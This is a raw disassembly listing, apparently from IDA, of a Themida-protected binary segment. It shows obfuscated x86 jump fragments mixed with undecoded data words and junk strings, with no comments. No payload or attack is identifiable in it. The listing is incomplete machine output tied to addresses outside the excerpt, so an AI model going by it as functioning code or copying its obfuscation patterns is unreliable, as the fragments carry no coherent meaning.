dd 0E9572404h, 6286h, 56535958h, 1945E9h, 0E9FCB700h, 0FFFFEE6Fh
; ---------------------------------------------------------------------------
loc_50718C: ; CODE XREF: Themida_:0050A205j
push edi
push 969h
mov [esp], ecx
jmp loc_517771
; ---------------------------------------------------------------------------
dw 0C483h
dd 38EEE904h, 0C4830000h, 0CB6FE904h, 74FF0000h, 48B0424h
dd 1FD7E924h, 0D5F70000h, 0E950DDF7h, 982Ch
dword_5071C0 dd 241CF766h, 0B901E99Ch, 0C781FFFFh, 29D66B72h, 0B850DFF7h
; DATA XREF: Themida_:0050283Co
dd 18E60A55h, 0C9E9C721h
db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5071DF: ; CODE XREF: Themida_:00514BFFj
sub edi, 4537ECB5h
xor ecx, edi
mov edi, [esp]
add esp, 4
sub ecx, 4E8A678Eh
push ebx
push edi
mov edi, 78A04B0Bh
mov ebx, edi
pop edi
dec ebx
sub ebx, 79A8723Dh
jmp loc_50A0C8
; ---------------------------------------------------------------------------
aIS5i db '‰Ù[]é5›',0
align 2
aVs db 'Véì%',0
align 4
loc_507218: ; CODE XREF: Themida_:005074D3j
mov edi, [esp]
add esp, 4
jmp loc_50BC0A
; ---------------------------------------------------------------------------
dw 515Ch
dd 6074D1B9h, 0B0E1811Ch, 81625F43h, 0E71F47F1h, 81D9F749h
dd 0B52624C9h, 9AF6E938h, 9A050000h, 8314795Ah, 3C8904ECh
dd 2BBA5224h, 0E924A02Eh, 0CA9Ah
; ---------------------------------------------------------------------------
loc_50725C: ; CODE XREF: Themida_:0050C559j
or ebp, 5166586Dh
jmp loc_50B8BB
; ---------------------------------------------------------------------------
db 89h
dd 0E589242Ch, 4C581h, 0B9510000h, 7C82693Dh, 380DE9h
dd 24148900h, 733FE6BAh, 3FC28145h, 0E9492D30h, 0D108h
dd 0E958C728h, 0FFFFF711h, 4EC81h, 2C890000h, 744FBD24h
dd 0E8896723h, 0BA52575Dh, 4E0B7DE0h, 0F4821FBFh, 5AD701B1h
dd 0E362692Dh, 5F82924h, 24E36269h, 0FFD56CE9h, 40558FFh
dd 5000000h, 4, 8B240487h, 0EC812424h, 4, 0E9240C89h, 5E09h
dd 31243433h, 34332434h, 24248B24h, 4A30F66h, 0E0E99C24h
dd 830000C3h, 2EE904ECh, 1FFFFBAh, 0D4C581F5h, 5E4C8040h
dd 0FF5DEB01h, 1EE92434h, 10000BDh, 240C8BC8h, 8704C483h
dd 0FF5C2404h, 535F2434h, 0C381E389h, 4, 8704C383h, 685C241Ch
dd 7581h, 0E9240C89h, 0FFFFD238h
; ---------------------------------------------------------------------------
loc_507348: ; CODE XREF: Themida_:005074BEj
pop ebx
push edx
jmp loc_508830
; ---------------------------------------------------------------------------
db 89h
dd 5166241Ch, 0CB8856B1h, 240C8B66h, 5602C483h, 0C770E9h
dd 33EB8000h, 28E95866h, 5D000001h, 0A9BF575Eh, 18A75B7h
dd 243C8BF8h, 4C481h, 0C5210000h, 8324048Bh, 0E58104C4h
dd 78BD7838h, 0FFC2D1E9h, 80D7F6FFh, 0EF805AE7h, 8BF8003Eh
dd 0C483241Ch, 68D80004h, 7B99h, 54241C89h, 54ACE95Bh
dd 0E6810000h, 710D0A71h, 4ED6F74Eh, 0FDECEE81h, 0F301DFFAh
dd 4EC835Eh, 9C14E9h
db 0
; ---------------------------------------------------------------------------
loc_5073D1: ; CODE XREF: Themida_:005100DDj
mov eax, 4
jmp loc_5140D3
; ---------------------------------------------------------------------------
loc_5073DB: ; CODE XREF: Themida_:00509A2Ej
add esi, 4
sub esp, 4
jmp loc_505E93
; ---------------------------------------------------------------------------
dd 0B68272BBh, 5BDF018Dh, 42CEC381h, 0FB01554Ch, 42CEEB81h
dd 34FF554Ch, 89505F24h, 405E0h, 0C0830000h, 24048704h
dd 2843E9h
db 0
aNsgi db 'ég‰',0 ; DATA XREF: Themida_:005028F4o
dw 8100h
dd 297371C2h, 0D5895592h, 5A5DE889h, 4244431h, 0E92434FFh
dd 0B3C6h, 42474FFh, 24048F5Ah, 0B685E95Ch, 0EB81FFFFh
dd 6978614Ch, 0C381F301h, 6978614Ch, 241C335Eh, 33241C31h
dd 248B241Ch, 0AF0F6624h, 9C5166C8h, 0FFB65EE9h, 0F3E953FFh
dd 1FFFFBCh, 2AD4E9C2h, 53520000h, 2DE916B3h
db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_507483: ; CODE XREF: Themida_:005153ACj
push ebx
push 13C4h
mov [esp], eax
push edx
push 6F8F1AC9h
jmp loc_508920
; ---------------------------------------------------------------------------
db 0Fh
aSk5 db '¶Àéª5',0
db 0
; ---------------------------------------------------------------------------
loc_50749F: ; CODE XREF: Themida_:005057C3j
shr ebp, 3
xor ebp, 31F9447Eh
jmp loc_508A7F
; ---------------------------------------------------------------------------
aYh db 'YhÖ',8,0
dw 0E900h
dd 0D9BAh
; ---------------------------------------------------------------------------
loc_5074B8: ; CODE XREF: Themida_:00512026j
sub ecx, 5D493466h
jmp loc_507348
; ---------------------------------------------------------------------------
db 52h
dd 3D6F8BBAh, 0E9D03115h, 572Ah
; ---------------------------------------------------------------------------
loc_5074D0: ; CODE XREF: Themida_:00517474j
pop ebx
add ebx, edi
jmp loc_507218
; ---------------------------------------------------------------------------
loc_5074D8: ; CODE XREF: Themida_:00514B46j
add esi, 4
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
xor bl, al
jmp loc_5162C5
; ---------------------------------------------------------------------------
db 89h
dd 0BE56242Ch, 59675940h, 525EF589h, 76D432BAh, 0EEFBE9F6h
dd 0C3800000h, 80EB00F8h, 0E2E9F8EBh, 10000D3h, 34875FFEh
dd 24248B24h, 9C240420h, 0FFB59AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_507531: ; CODE XREF: Themida_:00504E8Cj
pop eax
sub esp, 4
mov [esp], ebp
jmp loc_507B62
; ---------------------------------------------------------------------------
db 5, 68h, 77h
dd 6F353AB0h, 0E9D6F958h, 118Fh, 0BB535558h, 24712Ah, 55229EBDh
dd 5BDD019Ch, 22BCE9h, 8EE95C00h
db 4Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_507567: ; CODE XREF: Themida_:00515139j
mov [esp], ebx
jmp loc_50E517
; ---------------------------------------------------------------------------
db 31h
dd 240C8BC8h, 4C481h, 42680000h, 8900006Bh, 0C8BE2434h
dd 31169981h, 0C7015EF0h, 7E5AE958h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_507592: ; CODE XREF: Themida_:0050DA99j
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebp
mov ebp, esp
jmp loc_50E212
; ---------------------------------------------------------------------------
loc_5075A6: ; CODE XREF: Themida_:005141ACj
mov ecx, 4
sub eax, 29605B5h
sub eax, 4C53F36h
add eax, ecx
add eax, 4C53F36h
add eax, 29605B5h
jmp loc_508167
; ---------------------------------------------------------------------------
dw 0C483h
dd 241C8704h, 3BE8E9h
db 0
; ---------------------------------------------------------------------------
loc_5075D1: ; CODE XREF: Themida_:0050F9B5j
add esi, ebx
jmp loc_50D9AE
; ---------------------------------------------------------------------------
dd 125827BDh, 7B0BE92Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5075E2: ; CODE XREF: Themida_:00515581j
mov ebp, 4
sub ebx, 231E6352h
add ebx, ebp
jmp loc_50E6B8
; ---------------------------------------------------------------------------
dd 9B60A9BAh, 384E945h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5075FE: ; CODE XREF: Themida_:00509749j
add esp, 4
jmp loc_502B05
; ---------------------------------------------------------------------------
db 29h, 0F8h, 5Fh
dd 0BB53F801h, 25B35DB6h, 63FCB81h, 0EBC1452Dh, 85F38103h
dd 13677FFh, 241C8BD8h, 5F04C483h, 0FF1C4709h, 0E9582434h
dd 0F1B7h, 4C281h, 81550000h, 4ECh, 24148900h, 665CF3BAh
dd 0FFC2811Bh, 81FFFFFFh, 5D7228F2h, 7E2C17Ch, 0FFEA8142h
dd 899D976Ch, 2434FFD5h, 4EC835Ah, 89240C89h, 4C181E1h
dd 81000000h, 4C1h, 34A5E900h, 0C1830000h, 240C8704h, 7DEA815Ch
dd 2D396E32h, 64EF1E0Fh, 0BE56D001h, 217B29FDh, 8107E6C1h
dd 5A1F8FC6h, 5EF001A7h, 5A2434FFh, 81E18951h, 4C1h, 4C18100h
dd 87000000h, 13E9240Ch
db 0BDh, 2 dup(0FFh)
byte_5076C3 db 0FFh ; DATA XREF: Themida_:00502924o
dd 48B2434h, 0E944E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5076CE: ; CODE XREF: Themida_:0050E486j
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
push esi
push esp
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
sub esp, 4
mov [esp], edx
jmp loc_508F4A
; ---------------------------------------------------------------------------
db 89h
dd 4C581E5h, 81000000h, 4C5h, 242C8700h, 2434FF5Ch, 0E189515Bh
dd 0FFB59BE9h, 243C31FFh, 0EE08E9h, 24348B00h, 8104C483h
dd 4C6h, 4EE8100h, 87000000h, 46E92434h, 890000D0h, 5A542414h
dd 4C281h, 0EA830000h, 4EC8104h, 0E9000000h, 6EC6h, 2E9D7F7h
db 61h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_507753: ; CODE XREF: Themida_:00508EB8j
and eax, ebx
pop ebx
push dword ptr [edi+1Ch]
push dword ptr [esp]
push dword ptr [esp]
jmp loc_50D24C
; ---------------------------------------------------------------------------
dd 57241489h, 0C781E789h, 4, 4EF81h, 0F9E90000h
db 2Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50777B: ; CODE XREF: Themida_:00510FE0j
push dword ptr [esp]
push dword ptr [esp]
pop eax
push edi
push esp
pop edi
jmp loc_50F634
; ---------------------------------------------------------------------------
dd offset dword_4E414C+61Ch
dw 0E900h
dd 4B3Bh, 90637A68h, 49E3E969h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50779E: ; CODE XREF: Themida_:0050C5B5j
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push ebp
push esp
jmp loc_50EE81
; ---------------------------------------------------------------------------
byte_5077B1 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005028A0o
aScj db '$écj',0
align 2
loc_5077BA: ; CODE XREF: Themida_:00505BE8j
sub ebx, 0C9F5776h
neg ebx
shl ebx, 3
dec ebx
add ebx, 0F5B7BCF9h
xor edx, ebx
pop ebx
jmp loc_5115C7
; ---------------------------------------------------------------------------
dd 51240489h, 803FB252h, 0CEE9E1C2h, 520000C9h, 0D602E9h
dd 0E3685300h, 5B225703h, 55FFC383h, 0FB53C0BDh, 0E9BB536Ah
dd 0F749DC29h, 0D2F381D3h, 0E9585376h, 50DEh
dword_50780C dd 24048B66h, 16EDE9h, 627F6800h, 4890000h, 5E08924h, 4
; DATA XREF: Themida_:00502818o
dd 0DCCDE9h, 81CB2900h, 7538B6C3h, 0D022E93Fh, 0E95BFFFFh
dd 0A06Eh
; ---------------------------------------------------------------------------
loc_50783C: ; CODE XREF: Themida_:00509402j
add eax, ebp
add eax, 45FF31FFh
jmp loc_50D4E0
; ---------------------------------------------------------------------------
loc_507848: ; CODE XREF: Themida_:0050D142j
pop ebp
add ecx, ebx
mov eax, [ecx]
pop ecx
push dword ptr [esp]
mov ebx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_5058BC
; ---------------------------------------------------------------------------
loc_50786B: ; CODE XREF: Themida_:0050B4BCj
push eax
mov eax, 12A1092Ah
not eax
jmp loc_515CF1
; ---------------------------------------------------------------------------
loc_507878: ; CODE XREF: Themida_:0050F9E3j
mov [esp], edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
push 2EAh
mov [esp], edx
push ecx
jmp loc_50D6F9
; ---------------------------------------------------------------------------
dw 0BB53h
dd 2AB87280h, 53D9EB81h, 0DBF7771Fh, 421C381h, 0E381380Bh
dd 1BFE6621h, 6A04BA52h, 0CA812202h, 7F6F1625h, 4EA814Ah
dd 314E2C4Ch, 0C3815AD3h, 0D090E10Dh, 0ACE9DD29h, 0C000002Eh
dd 0E95307E4h, 0FFFFDAD9h
; ---------------------------------------------------------------------------
loc_5078E0: ; CODE XREF: Themida_:0050FDFBj
add ebp, ebx
sub esp, 4
mov [esp], esi
push edi
mov edi, 9FE73DAh
mov esi, edi
mov edi, [esp]
add esp, 4
add ebp, esi
pop esi
sub ebp, 79651FAAh
mov ebx, [esp]
push 5142h
mov [esp], ebp
jmp loc_515FE8
; ---------------------------------------------------------------------------
dw 835Ah
dd 0F75D04C4h, 263D68D5h, 14890000h, 0FF5A5524h, 0A9E92434h
db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50792B: ; CODE XREF: Themida_:0050BD6Dj
push 32D2715Fh
pop edx
jmp loc_515F0B
; ---------------------------------------------------------------------------
loc_507936: ; CODE XREF: Themida_:0050B172j
mov esi, [esp]
push esi
mov esi, esp
jmp loc_509963
; ---------------------------------------------------------------------------
db 66h, 53h, 66h
dd 0F1242C81h, 348B6612h, 2C48324h, 0F1C68166h, 0A55BE912h
dd 685B0000h, 2888h, 52240C89h, 10456E9h, 0B0506600h, 66C78884h
dd 0E9F82858h, 0FFFFDAC7h, 885AD530h, 3F9CE9EFh, 3B90000h
dd 0E93FDC42h, 0FFFFE53Ch
; ---------------------------------------------------------------------------
loc_50798C: ; CODE XREF: Themida_:0050704Bj
sub ebx, 34464782h
add edi, ebx
push dword ptr [esp]
jmp loc_50954B
; ---------------------------------------------------------------------------
dd 0D483F381h, 0DA89197Dh, 318E9h
db 0
; ---------------------------------------------------------------------------
loc_5079A9: ; CODE XREF: Themida_:005070D6j
inc eax
shr eax, 6
shr eax, 2
add eax, 6F7F9FC2h
sub edx, eax
mov eax, [esp]
add esp, 4
jmp loc_513646
; ---------------------------------------------------------------------------
db 66h, 0BFh, 0AEh
dd 0D70166F0h, 0A837E9h
db 0
; ---------------------------------------------------------------------------
loc_5079D1: ; CODE XREF: Themida_:0050E867j
xchg ebp, [esp]
jmp loc_50F176
; ---------------------------------------------------------------------------
db 68h, 7Bh, 25h
dd 1C890000h, 81E38924h, 4C3h, 4C38100h, 33000000h, 1C31241Ch
dd 241C3324h, 921BE9h, 24048100h, 4, 8B2434FFh, 0E92414h
dd 510000F0h, 42474FFh, 525CE9h, 0C9E95300h, 59000097h
dd 81E68956h, 4C6h, 840AE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_507A2E: ; CODE XREF: Themida_:00507150j
mov [esp], ebx
mov ebx, 2
add ecx, ebx
push dword ptr [esp]
pop ebx
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_50A73C
; ---------------------------------------------------------------------------
dd 5F2434FFh, 0A670E9h, 1EA8100h, 0C1000000h, 0E95707E2h
dd 0FFFFC4E2h, 644C6858h, 0C890000h, 81E18924h, 4C1h, 0FC04E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_507A7E: ; CODE XREF: Themida_:00514F04j
xchg edx, edi
dec edx
jmp loc_50F24D
; ---------------------------------------------------------------------------
dw 0F901h
dd 83243C8Bh, 0C8704C4h, 24248B24h, 592434FFh, 0F5C4E9h
dd 51E68900h, 4B9h, 6161E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_507AAA: ; CODE XREF: Themida_:00512C3Dj
mov [esp], eax
push 1FB1h
jmp loc_517717
; ---------------------------------------------------------------------------
db 42h
dd 6949E281h, 81425C82h, 0B700ECF2h, 98F28169h, 0E913EA20h
dd 0FFFFDCB8h
; ---------------------------------------------------------------------------
loc_507AD0: ; CODE XREF: Themida_:00517F6Ej
add eax, 352D4B07h
add eax, 74530BF2h
pop edi
add eax, edi
jmp loc_50C8B4
; ---------------------------------------------------------------------------
dw 8159h
dd 0FE3E37CBh, 0A3CB8152h, 81586B42h, 0AE5DA8E3h, 0BBCB812Fh
dd 0F700AF46h, 54EB81DBh, 0E9DD5469h, 6198h, 9668D830h
dd 8900005Ch, 50B7241Ch, 0C018E780h, 0E7C006E7h, 84F78003h
dd 0D1E9F800h, 81FFFFC6h, 2C5h, 2F41E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_507B32: ; CODE XREF: Themida_:00508DF3j
xor eax, 0BA43A48Ch
add ebp, eax
pop eax
push 2814h
mov [esp], ebx
jmp loc_50B4B9
; ---------------------------------------------------------------------------
db 89h
dd 14A5E9E5h, 0C4810000h, 4, 76E1E957h, 0D7000000h, 9D73E95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_507B62: ; CODE XREF: Themida_:00507538j
mov ebp, esp
jmp loc_50DE91
; ---------------------------------------------------------------------------
loc_507B69: ; CODE XREF: Themida_:0050D272j
add edi, edx
add edi, 627760A7h
pop edx
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
push ecx
push esp
mov ecx, [esp]
add esp, 4
jmp loc_50A704
; ---------------------------------------------------------------------------
dd 0EDD0E950h, 0E95EFFFFh, 4F10h, 0B745E95Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_507B9E: ; CODE XREF: Themida_:005058BEj
push esp
push dword ptr [esp]
pop ebx
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
add ebx, 4
jmp loc_513C99
; ---------------------------------------------------------------------------
loc_507BC0: ; CODE XREF: Themida_:0050B163j
mov eax, [esp]
sub esp, 4
mov [esp], edx
mov edx, esp
jmp loc_503CC8
; ---------------------------------------------------------------------------
db 83h
dd 3C8704C7h, 12CE924h
db 1, 0
; ---------------------------------------------------------------------------
loc_507BDE: ; CODE XREF: Themida_:00514C9Aj
push edi
mov edi, 71C5228Bh
sub edx, edi
pop edi
sub edx, 4BE874A6h
not edx
add edx, 61C50174h
xor ebx, edx
pop edx
shr ebx, 3
and ebx, 72635F8Dh
xor ebx, 2404E85h
sub edx, 64D1C40h
add edx, ebx
add edx, 64D1C40h
jmp loc_512D25
; ---------------------------------------------------------------------------
dw 2D66h
dd 56634CBh, 5166465Eh, 0FFF156E9h, 0E9EB89FFh, 0FFFFF5D9h
dd 81E78957h, 4C7h, 4C78300h, 0E9243C87h, 386Fh, 0BA52h
dd 0BE90000h
db 4, 2 dup(0)
; ---------------------------------------------------------------------------
loc_507C4F: ; CODE XREF: Themida_:0050FBC0j
pop ecx
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_50560A
; ---------------------------------------------------------------------------
aS3l db '[é3L',0
db 0
; ---------------------------------------------------------------------------
loc_507C67: ; CODE XREF: Themida_:0050C938j
mov esp, [esp]
push 3DA6h
jmp loc_51515D
; ---------------------------------------------------------------------------
dd 587CBB53h, 814374D6h, 0CD18BDE3h, 6F33E958h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_507C86: ; CODE XREF: Themida_:00505E7Ej
sub ecx, 21CD0291h
dec ecx
jmp loc_514B57
; ---------------------------------------------------------------------------
loc_507C92: ; CODE XREF: Themida_:00515870j
pop ecx
jmp loc_51335C
; ---------------------------------------------------------------------------
dd 0E904C683h, 5EA2h
; ---------------------------------------------------------------------------
loc_507CA0: ; CODE XREF: Themida_:0050A71Aj
add ebp, 52E1255Fh
jmp loc_512C88
; ---------------------------------------------------------------------------
db 81h
dd 0D15047F3h, 28BD0568h, 4E91421h, 550000B7h, 0FFD341E9h
dd 90BE5BFFh, 29912EE5h, 0EA685AD6h, 8900005Dh, 0E268241Ch
dd 5B0F9A1Eh, 0F5FAC381h, 0F3814635h, 56067CA1h, 3E11B850h
dd 0B9E91E87h, 810000E0h, 4C6h, 4EE8300h, 5C243487h, 81240489h
dd 4ECh, 0CC1DE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_507D0A: ; CODE XREF: Themida_:00510167j
xchg ebx, [esp]
pop esp
jmp loc_50D02A
; ---------------------------------------------------------------------------
loc_507D13: ; CODE XREF: Themida_:00506FA0j
mov ebx, 1814280Ch
jmp loc_5149AF
; ---------------------------------------------------------------------------
loc_507D1D: ; CODE XREF: Themida_:0050BC2Ej
xchg ebx, [esp]
mov esp, [esp]
jmp loc_517B7F
; ---------------------------------------------------------------------------
dd 0FFAD9EE9h, 0EB355AFFh, 17F3F77h, 336858C7h, 89000070h
dd 4B82404h, 29000000h, 24048BC7h, 8704C483h, 248B243Ch
dd 24148924h, 0AEE9E289h, 5C0000F6h, 5E9D800h, 810000A7h
dd 1F4350C6h, 81CE292Fh, 1F4350EEh, 0EE81592Fh, 3E15F872h
dd 5005EEC1h, 7881EEB8h, 58C629CBh, 0F3D7E9h
db 0
; ---------------------------------------------------------------------------
loc_507D89: ; CODE XREF: Themida_:00502BFCj
add esp, 4
sub ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
mov [esp], esp
jmp loc_503EAE
; ---------------------------------------------------------------------------
a0S2 db '0Ðé2Ù',0
dw 5000h
dd 8904EC83h, 0CA882414h, 0DBE9D488h
db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_507DBB: ; CODE XREF: Themida_:005061E8j
sub esp, 4
mov [esp], esi
mov esi, 53A65F10h
mov ebx, 58C3D1EEh
jmp loc_51521D
; ---------------------------------------------------------------------------
db 5
aVvSI db 'vV',0Bh,';)Øé¶©',0
dw 8100h
dd 58611DEEh, 4E07E956h
db 2 dup(0)
word_507DEA dw 34FFh ; DATA XREF: Themida_:00502A5Co
dd 2434FF24h, 8124048Bh, 4C4h, 0EAF3E900h, 0E953FFFFh
dd 0BD75h
dword_507E04 dd 240C8B66h, 250F68h, 24348900h, 7004E954h, 0E6890000h
; DATA XREF: Themida_:005029A4o
dd 4C681h, 0C6830000h, 24343304h, 33243431h, 815C2434h
dd 4C4h, 0AC95E900h, 0CA80FFFFh, 6EA8095h, 285AD528h, 46E959EEh
dd 68FFFFE9h, 4, 59C80159h, 405h, 24048700h, 1DBF575Ch
dd 12AA331h, 0EB815FFBh, 42F1105Bh, 6806E9h, 24348900h
dd 28E0BF57h, 0B4E91AF6h, 55000042h, 0F42632BDh, 6EDC167h
dd 83CFED81h, 0EA81B9D9h, 7F4E6D7Ch, 0C281EA29h, 7F4E6D7Ch
dd 53DA295Dh, 0FFE841E9h, 241C8BFFh, 0AE39E9h, 4BA00h
dd 0D1E90000h, 29FFFFB3h, 0EA0158C5h, 5D2434FFh, 0B417E9h
dd 71E98000h, 0E941F180h, 0FFFFC300h
; ---------------------------------------------------------------------------
loc_507ECC: ; CODE XREF: Themida_:0050A8C6j
sub edi, 1
sub edi, 8DB31D7Dh
jmp loc_505053
; ---------------------------------------------------------------------------
db 0BEh, 4, 0
dd 0B8500000h, 7D905A34h, 4CF0C181h, 0C1011B87h, 4CF0E981h
dd 6BE91B87h
db 47h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_507EFB: ; CODE XREF: Themida_:00514CF1j
mov [esp], ebp
mov ebp, esp
sub esp, 4
mov [esp], ebx
jmp loc_514255
; ---------------------------------------------------------------------------
dw 148Bh
aRszs db '$R金',0
db 0
; ---------------------------------------------------------------------------
loc_507F17: ; CODE XREF: Themida_:00517BF8j
push ecx
jmp loc_50A651
; ---------------------------------------------------------------------------
loc_507F1D: ; CODE XREF: Themida_:00505FA9j
pop edx
push dword ptr [esp]
pop ecx
add esp, 4
push dword ptr [edi+eax*4]
push ebp
jmp loc_514DA3
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 515DEB21h, 1B08E9h
db 0
; ---------------------------------------------------------------------------
loc_507F3D: ; CODE XREF: Themida_:0050FC06j
shl edi, 1
shr edi, 5
neg edi
jmp loc_511D50
; ---------------------------------------------------------------------------
db 5Bh, 53h, 0E9h
dd 0BF8h
dword_507F50 dd 240C8B66h, 81E18951h, 4C1h, 28BD5500h, 0D164345Eh, 2599E9E5h
; DATA XREF: Themida_:005029D8o
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_507F6A: ; CODE XREF: Themida_:0050FFA8j
xchg edi, [esp]
mov esp, [esp]
or eax, eax
jz loc_50BDB2
push dword ptr [edi+1Ch]
push dword ptr [esp]
jmp loc_5125EE
; ---------------------------------------------------------------------------
db 0F7h
dd 505540D0h, 0FEF3E9h, 8BD02900h, 89532414h, 19968E3h
dd 0C890000h, 4B924h, 0CB010000h, 4C38359h, 2474FF53h
dd 2434FF04h, 0BC50E9h, 0D3ED8100h, 119A904h, 0D3C581F5h
dd 0E919A904h, 16BEh, 1544BE56h, 48E97662h
db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_507FD3: ; CODE XREF: Themida_:00517A25j
push edi
mov edi, offset word_4D905A
xor ebx, edi
pop edi
add ebp, ebx
mov ebx, [esp]
add esp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_50E67B
; ---------------------------------------------------------------------------
db 89h, 2Ch, 24h
dd 0ED0C4DBDh, 4FBA5216h, 312ADB6Fh, 8DE95AD5h, 5000005Ch
dd 405E089h, 0E9000000h, 5C16h, 148B5E52h, 5B8EE924h, 0ED810000h
dd 4, 8B242C87h, 2C892424h, 4CAB6824h, 685D1477h, 3838h
dd 68243489h, 5BEAh, 0BA241489h, 43766A30h, 8108EAC1h
dd 522CC7CAh, 0CA16E936h, 0CA290000h, 815AD189h, 0A008D7C9h
dd 0E955413Fh, 81BEh, 0F800F104h, 44E9F12Ch, 1FFFFE8h
dd 2C3358C5h, 242C3124h, 0E9242C33h, 72F4h, 8958C301h
dd 0F5815BDDh, 748C243Ch, 73F16852h, 34FF5DD2h, 0C4835A24h
dd 0EA8104h, 92BBC28h, 0BB06E9D5h, 48F0000h, 24048124h
dd 4, 7660E9h, 24048B00h, 0E904C483h, 31C0h, 53241489h
dd 0FFCB06E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5080D1: ; CODE XREF: Themida_:0050715Bj
mov [esp], edx
push 31C21AAFh
pop edx
push edi
mov edi, 0E04FC206h
sub edx, edi
pop edi
mov eax, edx
pop edx
xor eax, 0E3316DFh
push 0
sub [esp], eax
jmp loc_503314
; ---------------------------------------------------------------------------
dd 0EAC1425Ah, 96F28107h, 8900A3A2h, 0E9815AD3h, 5FD82BC2h
dd 0C181D901h, 5FD82BC2h, 0D4FAE9h, 81C58100h, 29D957ADh
dd 0C2015DE8h, 5624048Bh, 1A28E9h, 0E9E68900h, 0C528h
; ---------------------------------------------------------------------------
loc_508134: ; CODE XREF: Themida_:00502EB5j
pop esp
push ecx
mov ecx, esp
jmp loc_5100D6
; ---------------------------------------------------------------------------
loc_50813D: ; CODE XREF: Themida_:0051792Aj
mov [esp], ecx
push 1206h
mov [esp], ebx
push ecx
mov ch, dl
mov bl, ch
pop ecx
jmp loc_510976
; ---------------------------------------------------------------------------
db 83h
dd 600404C4h, 602CD028h, 0F368E9h
db 0
; ---------------------------------------------------------------------------
loc_508161: ; CODE XREF: Themida_:0050FBA8j
push ecx
jmp loc_512B06
; ---------------------------------------------------------------------------
loc_508167: ; CODE XREF: Themida_:005075C1j
pop ecx
xchg eax, [esp]
pop esp
jmp loc_514CEC
; ---------------------------------------------------------------------------
db 5, 0F6h, 30h
dd 0C529C840h, 0BE565B58h, 2, 786EED81h, 0F50150B4h, 786EC581h
dd 555E50B4h, 42474FFh, 0FFBF5EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_508199: ; CODE XREF: Themida_:0050BA9Bj
sub edx, ecx
pop ecx
pop ebp
jmp loc_51248D
; ---------------------------------------------------------------------------
dw 431h
dd 24043324h, 0F7240431h, 4E92E9D0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5081B2: ; CODE XREF: Themida_:00515A0Bj
mov edi, [esp]
add esp, 4
push eax
mov eax, 4BEF7EECh
add eax, 21D6C70Fh
xor edx, eax
pop eax
and eax, edx
pop edx
shr eax, 0Ah
xor eax, ecx
push eax
jmp loc_5044A3
; ---------------------------------------------------------------------------
db 89h
dd 0E8E92404h, 68000044h, 6271h, 68240C89h, 2CCCD612h
dd 0E9240C8Bh, 4417h, 1A08E95Bh, 14890000h, 57D26824h
dd 4890000h, 4F7EB824h, 74E93204h, 5AFFFFFDh, 0B850h, 0E8290000h
dd 0F5815895h, 2DC117DFh, 8307EDC1h, 348904ECh, 336D6824h
dd 38E97C33h
db 0F5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_508233: ; CODE XREF: Themida_:0051599Aj
mov cl, dl
jmp loc_50F464
; ---------------------------------------------------------------------------
dw 5453h
dd 4C3815Bh, 57000000h, 4BFh, 5FFB0100h, 5C241C87h, 8704C383h
dd 0FF5C241Ch, 0E99C240Ch, 0FFFFA86Bh, 0E9242C8Bh, 3C7Ah
; ---------------------------------------------------------------------------
loc_508268: ; CODE XREF: Themida_:005151A6j
push edi
pop eax
push dword ptr [esp]
pop edi
push esi
mov esi, esp
jmp loc_509112
; ---------------------------------------------------------------------------
loc_508276: ; CODE XREF: Themida_:00516A54j
push eax
mov eax, 63444360h
xor eax, 9CBBBC9Fh
add edx, eax
pop eax
add edx, 0AC790B3Ah
mov ebp, edx
pop edx
dec ebp
and ebp, 43D52FB1h
add ebp, 0C61D214h
sub edx, ebp
pop ebp
and eax, edx
pop edx
jmp loc_50D1C4
; ---------------------------------------------------------------------------
db 59h, 1, 74h
dd 8B5E0424h, 0E0E9240Ch, 810000C5h, 0EEBA12F3h, 5BDA01DEh
dd 5A36C181h, 0DFE97EC3h, 5B000057h, 58F468h, 241C8900h
